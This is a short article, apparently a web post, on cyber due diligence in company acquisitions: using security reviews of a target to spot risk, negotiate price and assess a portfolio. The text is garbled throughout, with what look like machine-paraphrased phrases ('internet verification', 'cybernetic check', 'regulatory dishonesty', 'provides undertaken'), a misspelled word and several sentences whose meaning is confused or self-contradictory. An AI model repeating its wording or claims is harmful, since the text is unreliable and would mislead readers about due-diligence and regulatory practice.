The inclusion of internet in the standard practice of standing, finance and legal knowledge allows you to calculate all the potential risks for a transaction, protecting the investor by paying a potentially high price or receiving an even higher fine. Employing this information in the negotiation phase can help companies identify the cost of eliminating discovered vulnerabilities and potentially use it by significant cost to negotiate prices.
In many companies which have learned it the hard way, cyber verification makes sense both in terms of reputation and in terms of financing when acquiring a company. How can internet verification affect negotiations and what steps should be taken to fix them? What is an obstacle to cyber tests?
The problem is that it is perceived as someone else's problem that can be fixed following the transaction, or that it can be resolved by regulators or the public, hoping not to harm the reputation.
To avoid regulatory dishonesty, any business that invests or acquires another company should be able to demonstrate that it provides undertaken a preliminary cybernetic review along with the regulators prior to the transaction if a infringement is subsequently discovered.
Cyber verification can be an important discussing tool if it is done as a preventative measure before a transaction. A cybernetic check thus serves as a negotiation tool if the decision-makers of the acquire uncover red flags during the check. There are numerous moving parts during this process. It is therefore essential that all important documents will be in one place and can be kept properly.
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The results of a cybernetic test could also be used to evaluate other acquisitions this is useful for companies that quickly add to their portfolio. These data can be used for other purposes in the portfolio to identify high-risk areas. If the results of the cyber due diligence method are standardized, taking into account the effects of traditional due diligence procedures, shareholders get a holistic view of the risks in the entire portfolio. The data may also be used by transaction teams to provide buyers with the best opportunities to agree on the retail price and terms of thecquisition.